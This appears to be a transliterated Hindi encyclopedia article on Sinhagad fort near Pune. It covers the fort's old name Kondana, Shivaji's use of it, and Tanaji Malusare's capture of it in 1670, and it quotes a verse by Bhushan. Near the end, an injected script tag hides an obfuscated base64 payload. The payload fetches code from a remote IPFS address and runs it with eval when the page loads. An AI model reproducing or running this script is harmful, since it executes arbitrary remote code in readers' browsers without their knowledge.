सिंहगढ़ दुर्ग
[[chitr:Sinhagarh-Fort-Pune.jpg|thumb|250px|sianhagadh qila, pune
Sinhagarh Fort, Pune]]
yah prasiddh qila maharashtr ke prakhyat durgoan mean se ek tha. yah poona se lagabhag 17 mil door nairrity kon mean sthit hai aur samudratat se prayah 4300 fut ooanchi paha di par basa hua hai. isaka pahala nam koandana tha jo sambhavatah isi nam ke nikatavarti gram ke karan hua tha. dantakathaoan ke anusar yahaan par prachin kal mean 'kauandiny' athava 'shrriangi rrishi' ka ashram tha.
shivaji ka adhikar
itihasakaroan ka vichar hai ki maharashtr ke yadavoan ya shilahar nareshoan mean se kisi ne koandana ke qile ko banavaya hoga. muhammad tugalaq ke samay mean yah 'naganayak' namak raja ke adhikar mean tha. isane tugalaq ka ath mas tak samana kiya tha. isake pashchath ahamadanagar ke sansthapak malik ahamad ka yahaan par qabza raha aur tatpashchath bijapur ke sultan ka bhi. chhatrapati shivaji ne is qile ko bijapur se chhin liya tha. shayasta khaan ko parast karane ki yojanaean shivaji ne is qile mean rahate hue hi banaee thian aur 1664 ee. mean soorat ki loot ki pashchath ve yahian par akar rahane lage the. apane pita shahooji ki mrityu ke pashchath unaka antim sanskar bhi yahian par kiya gaya tha.
yuddh
1665 ee. mean raja jayasianh ki madhyasthata dvara shivaji ne aurangazeb se sandhi karake yah qila mugal samrat ko kuchh any qiloan ke sath de diya par aurangazeb ki dhoortata ke karan yah sandhi adhik n chal saki aur shivaji ne apane sabhi qiloan ko vapas le lene ki yojana banaee. unaki mata jijabaee ne bhi koandana ke qile ko le lene ke lie shivaji ko bahut utsahit kiya. 1670 ee. mean shivaji ke bal mitr mabala saradar tanaji malusare aandheri rat mean 300 mabaliyoan ko lekar qile par chadh ge aur unhoanne use mugaloan se chhin liya. [[chitr:Tanaji-Statue-Sinhagarh-Fort.jpg|thumb|left|tanaji ki pratima, sianhagadh qila]] is yuddh mean ve qile ke sanrakshak udayabhanu rathau d ke sath l date hue viragati ko prapt hue. maratha sainikoan ne alav jalakar shivaji ko vijay ki soochana di. shivaji ne yahaan par pahuanchakar isi avasar par yah prasiddh shabd kahe the ki gadhala sianh gela arthat 'gadh to mila kintu sianh (tanaji) chala gaya.' usi din se 'goandana' ka nam sianhagadh ho gaya.
vijay ka varnan
sianhagadh ki vijay ka varnan kavivar bhooshan ne is prakar kiya hai:-
"sahitanai sivasahi nisa mean nisank liyo gadh sianh sohani,
rathivaroan ko sanhar bhayau,
lari ke saradar girayo udaibhanau,
bhooshan yoan ghamasan bhau bhootal gherat lothin manoan masanau,
ooanche suchhajj chhata uchati pragati parabha parabhat ki manoan."
is chhand mean shivaji ko soochana dene ke lie ooanche sthanoan par bani phoos ki jhop diyoan mean ag laga kar prakash karane ka bhi varnan hai. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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sanbandhit lekh
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varnamala kramanusar lekh khoj
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